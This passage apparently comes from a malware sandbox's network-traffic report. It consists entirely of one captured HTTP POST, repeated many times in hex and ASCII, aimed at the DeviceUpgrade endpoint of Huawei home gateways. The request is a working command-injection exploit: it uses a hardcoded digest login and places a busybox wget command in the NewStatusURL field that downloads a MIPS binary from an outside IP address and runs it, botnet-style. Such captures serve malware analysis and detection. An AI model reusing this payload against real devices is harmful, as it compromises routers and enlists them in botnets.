-r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 